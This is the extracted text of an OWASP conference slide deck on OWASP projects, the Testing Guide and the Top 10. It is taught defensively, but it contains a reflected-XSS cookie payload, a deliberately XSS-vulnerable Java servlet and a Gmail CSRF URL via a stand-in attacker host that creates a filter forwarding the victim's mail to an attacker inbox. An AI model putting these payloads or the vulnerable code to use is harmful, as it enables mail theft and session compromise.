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•Research
–OWASP-Italy Chair

–OWASP Testing Guide Lead

•Work
– CEO @ Minded Security 

Application Security Consulting

– 7+ years on Information Security

focusing on Application Security

– www.mindedsecurity.com

Who am I?



Secure software: user 
awareness



5

Ingredients: Sun Java 1.5 runtime, Sun 
J2EE 1.2.2, Jakarta log4j 1.5, Jakarta 
Commons 2.1, Jakarta Struts 2.0, 
Harold XOM 1.1rc4, Hunter JDOMv1

Software Facts

Modules 155    Modules from Libraries 120

% Vulnerability*

* % Vulnerability values are based on typical use scenarios for 
this product. Your Vulnerability Values may be higher or lower 
depending on your software security needs:

Cross Site Scripting 22 65%

SQL Injection   2
Buffer Overflow 5
Total Security Mechanisms 3

Encryption 3

Authentication   15

95%

Modularity  .035
Cyclomatic Complexity  323

Access Control    3
Input Validation   233
Logging   33

Expected Number of Users  15
Typical Roles per Instance 4

Reflected    12
Stored        10

Cross Site Scripting Less Than            10                    5
Reflected                  Less Than           10                    5
Stored                      Less Than           10                    5

SQL Injection                 Less Than           20                    2
Buffer Overflow             Less Than            20                   2
Security Mechanisms                                10                   14

Encryption                                             3                   15

Usage               Intranet           Internet

What we don’t see about the sw we
use



SDLC, costs and testing

public class MySoftware extends HttpServlet {

public void doGet(
HttpServletRequest request,
HttpServletResponse response)

throws IOException, ServletException
{

response.setContentType("text/html");
PrintWriter out = response.getWriter();
out.println("<HTML><HEAD>");
out.println("<TITLE>Hello World</TITLE>");
out.println("</HEAD><BODY>");
out.println("Hello, " + 

request.getParameter("name"));
out.println("</BODY></HTML>");

}}

?



• The Open Web Application Security Project (OWASP) is a worldwide 
free and open community focused on improving the security of 
application software. 

• Mission: to make application security "visible," so that people and 
organizations can make informed decisions about application security 
risks. 

• Participation: everyone is free to participate in OWASP and all of our 
materials are available under an open source license. 

• The OWASP Foundation is a 501c3 not-for-profit charitable organization 
that ensures the ongoing availability and support for our work. 



The OWASP Community



OWASP Goals: Improve Quality 
and Support

• Define Criteria for Quality Levels
– Alpha, Beta, Release

• Encourage Increased Quality
– Through Season of Code Funding and Support
– Produce Professional OWASP books

• Provide Support
– Full time executive director (Kate Hartmann)
– Full time project manager (Paulo Coimbra)
– Half time technical editor (Kirsten Sitnick)
– Half time financial support (Alison Shrader)
– Looking to add programmers (Interns and professionals)
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Training
Code Review Guide

Testing Guide Project 
incubator

Wiki portal

Forums

Blogs

Top 10

Conferences

WebScarab

WebGoat
Ajax

Orizon

.NET, Java

Validation

Chapters

Building our brand  

Certification

BuildingGuide

The OWASP Vision



OWASP Body of Knowledge

Core Application 
Security

Knowledge Base

Acquiring and
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Tools
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Guide to Building 
Secure  Web 

Applications and 
Web Services

Guide to Application 
Security Testing and 
Guide to Application 

Security Code 
Review

Tools for Scanning, 
Testing, 

Simulating, and 
Reporting Web 

Application 
Security Issues

Web Based 
Learning 

Environment and 
Guide for Learning 

Application 
Security

Guidance and Tools 
for Measuring and 

Managing 
Application 

Security

Research Projects 
to Figure Out How 
to Secure the Use 

of New 
Technologies (like 

Ajax)



OWASP Tools and Technology
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• Vulnerability 
Scanners

• Static Analysis 
Tools

• Fuzzing

Automated 
Security 
Verification

• Penetration 
Testing Tools

• Code Review 
Tools

Manual 
Security 
Verification

• ESAPI

Security 
Architecture

• AppSec Libraries
• ESAPI Reference 

Implementation
• Guards and 

Filters

Secure 
Coding

• Reporting Tools

AppSec
Management

• Flawed Apps
• Learning 

Environments
• Live CD
• SiteGenerator

AppSec
Education



There are a lot of OWASP projects



OWASP projects by numbers

• Total Projects: 88 (34 with SoC Grant)

– Tools: 42                 (16 with SoC 08 Grant)

– Documentation: 32   (12 with SoC 08 Grant)

– Technologies: 9 (2 with SoC  08 Grant)

– Activities: 5 (4 with SoC 08 Grant)



Documentation projects
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Vulnerability

Vulnerabilities

Attack

Attacks

Threat Agents

Business Impacts

Business
Impact

System Impacts

Asset

Testing
Guide

Code 
Review
Guide

Building
Guide

Honeycomb

Tools

Countermeasures

Countermeasure

OWASP Guidelines: the big picture



Activities, Technologies 



Tools



SoC 08 projects – 126,000 USD in Grants



OWASP Books!



1) OWASP Top 10 (Release Quality)



OWASP Top10



2) OWASP Testing Guide v2 (Release Quality)
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OWASP Testing Guide v2

• 272 pages, 48 controls

• Methodological approach: 
– Consistent 
– Reproducible 
– Under quality control

• The problems that we want to be addressed are: 
– Document all 
– Test all 

SANS Top 20 cites the Guide in "C1. Web Applications" section: 
http://www.sans.org/top20/?ref=1697#c1

"Congratulations on version 2 of the OWASP Testing Guide! It is an impressive and 
informative document that will greatly benefit the software development community". 
Joe Jarzombek, the Deputy Director for Software Assurance at Department of Homeland Security



25

OWASP Testing Guide: report

• I. Executive Summary 
• II. Technical Management Overview 
• III Assessment Findings: Risk Rating



OWASP Testing Guide v3: 
roadmap

• 26th April 2008: start the new project
• OWASP Leaders brainstorming
• Call for participation � 21 authors (-18!)
• Index brainstorming 
• Discuss the article content
• 20th May 2008 �New draft Index 
• 1st June 2008 � Let's start writing! 
• 27th August 2008 � started the reviewing phase � 4 Reviewers (-

16!)
• October 2008 � Review all the Guide 
• Next december 2008 we will publish the new version of the OWASP 

Testing Guide: http://www.owasp.org/index.php/OWASP_Testing_Project
(347pages +80!)
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Testing Guide v3: Index

1. Frontispiece
2. Introduction
3. The OWASP Testing Framework 
4. Web Application Penetration Testing 
5. Writing Reports: value the real risk 
Appendix A: Testing Tools
Appendix B: Suggested Reading
Appendix C: Fuzz Vectors 
Appendix D: Encoded Injection



What’s new?

Information Gathering
Config. Management Testing
Business Logic Testing
Authentication Testing
Authorization Testing 
Session Management Testing
Data Validation Testing
Denial of Service Testing
Web Services Testing
Ajax Testing
Encoded Appendix

• V2 8 sub-categories (for a total amount of 48 controls)
• V3 10 sub-categories (for a total amount of 66 controls)
• 36 new articles!

Information Gathering
Business Logic Testing
Authentication Testing
Session Management Testing
Data Validation Testing
Denial of Service Testing
Web Services Testing
Ajax Testing



3) Legal Project (Release Quality)

What do you do when you realize software  

you wrote might have vulnerabilities? 



3) Legal Project (Release Quality)



4) Code Review (Beta Quality)



5) ESAPI (Beta Quality)



6) ADSR (Beta Quality)



7) Web Goat (Release Quality)



8) OWASP Encoding Project         
(Beta/Release Quality)



9) OWASP Flash Security Project



9) SWF Intruder



10) WebScarab (Release 
Quality)



Putting all together

• The OWASP Guidelines are part of the same process

• For example: SQL Injection

– The Building Guide: tell your Company to develop an 

application in a way to be protect by SQL Injection attacks

– The Code Review Guide: tell your Company how to make a 

secure code of your software review. White Box Testing: we 

now exactly how the function has been implemented

– The Testing Guide: tell your Company how to perform a SQL 

injection test on your developed application. Black Box Testing: 

we don’t hold the source code but only the application interface.
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• Sofware Development Life Cycle, SDLC:
– Define
– Design
– Develop
– Deploy
– Maintain

• Which are the controls to implement?

Software development life cycle



Before SDLC        Define&Design         Development        Deploy&Maintenance

Policy and 
Standards

Develop 
metrics

Security 
Requirement

Threat 
Modeling

Code 
Walkthrough

Code Review

Application 
Testing

Management 
reviews

Health checks

Awareness Building Review Test

Security in SD
LC

O
W
A
SP  Fram

ew
orkGuidelines                   Building Guide              Code Review Guide                Testing Guide

SDLC & OWASP Guidelines 
in your organization



SDLC is not a box to buy



Internet Banking and web application 
vulnerabilities

Source: Minded Security –20 Online Banking in Italy

0 10 20 30 40 50 60

Percentuale

Information Gathering

Business Logic Testing

Authentication / Authorization

Session Management

Data Validation Testing

Denial Of Service Testing

Vulnerabilità e Categorie di test



Source: Minded Security Labs

0 10 20 30 40 50 60

Cross Site Scripting

SQL Injection

XML Injection

Code Injection

Stored Procedure Injection

Altre

Data Validation Testing - Ditribuzione Vulnerabilità

Data Validation Testing



OWASP guidelines in the
italian companies

For a total of 15 Companies (Finance, Banking and Telco)
Source: Minded Security  2008

0%

10%

20%

30%

40%

50%

60%

70%

Building Guide Code Review Guide Testing Guide
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OWASP Top 10

http://www.owasp.org/index.php?title=Top_10_2007



OWASP & PCI v1.2



OWASP Top10 & PCI v1.2
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A1. Cross-Site Scripting (XSS)

• More than 90% web sites suffer of XSS...
– What’s the problem? Input is not validated from the application and is 

send “as it” to the user (pattern input output)
– Exploiting a XSS, an attacker can force a browser to execute his own

Javascript code.

• Contents are not validated…
– Reflected input (form field, hidden field, url, etc…) Reflected XSS
– From a database Stored XSS
– Content is interpreted from the client as a code that will be executed 

(es. <script>)
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http://www.example.com Search field print in 
output the word 
searched.

<script>alert(document.cookie)</script>

Site sends the script 
to the user that see 
his session cookie.

A1. Reflected Cross Site 
Scripting
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A1. XS: business impact

• An attacker could…
– Stolen users’ credentials
– Make a defacement for the attacker user
– Track user requests
– Take the complete control of the user browser

• Business impact
– Washington Post, NSA, ...
– Loss of trust from the users
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A5. Cross Site Request Forgery 
(CSRF)

• CSRF: When
– The application permits to send requests in a not authorized 

manner or send duplicate requests
– The application uses implicit authentication (session cookie)

• CSRF: How 
The <IMG> attack:
– A Web site contains an <IMG> TAG inside the HTML code that 

runs an action on the target site (<IMG> TAG has no restriction 
to origin level)



A5. Gmail CSRF

Source: Petko De Petov: Client side security – OWASP AppSec Conf 08



A5. Gmail CSRF



A5. Gmail CSRF



• Using a CSRF Redirection Utility force the user to 
create a filter

http://www.evilsite.it/csrf
?_method=POST&_enctype=multipart/form-data
&_action=https%3A//mail.google.com/mail/h/ewt1jmuj4dd
v/%3Fv%3Dprf
&cf2_emc=true
&cf2_email=evilinbox@mailinator.com
&cf1_from
&cf1_to
&cf1_subj
&cf1_has
&cf1_hasnot
&cf1_attach=true
&tfi&s=z
&irf=on&nvp_bu_cftb=Create%20Filter

A5. Gmail CSRF
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A5. CSRF: impact

• An attacker could:
– Force the user to execute an action.
– Logging systems logs the real user.

• Business impact:
– Application’s users could be forced to execute banking disposal, 

administrative function without notice it.
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A7. Broken Authentication e Session Mgmt

• If we have a weak authentication or session 
management mechanism:
– It could possible to bypass the authentication mechanism

Broken Authentication
– It could be possible to understand how the  SESSIONID/Cookie  

is generated Broken session management

• HTTP is “stateless” protocol...
– every single request must be authenticated and validated
– SESSIONID/Cookie represent the user track that identify the 

user each time he request a resource.



A7. Broken Authentication

• Example:

– The application implements a strong authentication 
with digital certificates.

– Is it possible to bypass the authentication schema, 
manipulating a field in the POST HTTP?

– In the following example, it was possible to send a 
different DN after the successfull SSL mututal
authentication with the proxy behind the application. 
The result is that a user could authenticate on the 
application impersonating another user without hold
the user certificate.
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A7. Business Impacts of Broken 
Authentication

• An attacker could…
– do everything on the application using the user 

credentials or user session cookie

• Business impact
– Wall Street Journal story
– Privacy compliance violations
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Thank you!

Matteo Meucci
matteo.meucci@owasp.org

matteo.meucci@mindedsecurity.com



Questions and Answers


